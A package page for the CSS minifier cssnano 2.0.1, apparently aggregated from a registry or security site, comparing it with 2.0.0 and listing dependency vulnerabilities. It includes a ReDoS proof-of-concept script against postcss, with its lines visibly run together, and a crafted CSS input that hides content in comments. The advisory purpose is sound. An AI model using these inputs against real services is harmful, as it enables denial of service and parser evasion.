Cssnano is a modular minifier for CSS built on top of the PostCSS ecosystem, designed to optimize CSS code for production environments. Version 2.0.1 refines the existing capabilities of version 2.0.0, offering subtle improvements and bug fixes to enhance the minification process. Both versions share a core set of dependencies, including PostCSS for parsing and manipulating CSS, and various PostCSS plugins for specific optimization tasks like color reduction (postcss-colormin), z-index optimization (postcss-zindex), and rule merging (postcss-merge-rules).
Developers using cssnano can expect consistent performance between these two versions, with 2.0.1 potentially providing slightly improved stability. The core functionalities remain the same, meaning existing configurations and workflows should continue to function without modification. These include features for discarding comments, removing duplicate rules, normalizing URLs, and more. Both versions provide extensive control over the level of minification and the specific optimizations applied, making cssnano highly adaptable to different project requirements.
For developers already utilizing cssnano 2.0.0, upgrading to 2.0.1 is recommended to benefit from the latest refinements. Both versions depend on the same set of devDependencies with tape, faucet, webpack, decamelize, json-loader, and node-libs-browser used for testing and development. One visible change is that in 2.0.1 the repository URL on the package.json includes git+ prefix.
All the vulnerabilities related to the version 2.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r discrepancies, as demonstrated by @font-face{ font:(\r/*);} in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.
Regular Expression Denial of Service (ReDOS)
In the npm package color-string, there is a ReDos (Regular Expression Denial of Service) vulnerability regarding an exponential time complexity for
linearly increasing input lengths for hwb() color strings.
Strings reaching more than 5000 characters would see several milliseconds of processing time; strings reaching more than 50,000 characters began seeing 1500ms (1.5s) of processing time.
The cause was due to a the regular expression that parses hwb() strings - specifically, the hue value - where the integer portion of the hue value used a 0-or-more quantifier shortly thereafter followed by a 1-or-more quantifier.
This caused excessive backtracking and a cartesian scan, resulting in exponential time complexity given a linear increase in input length.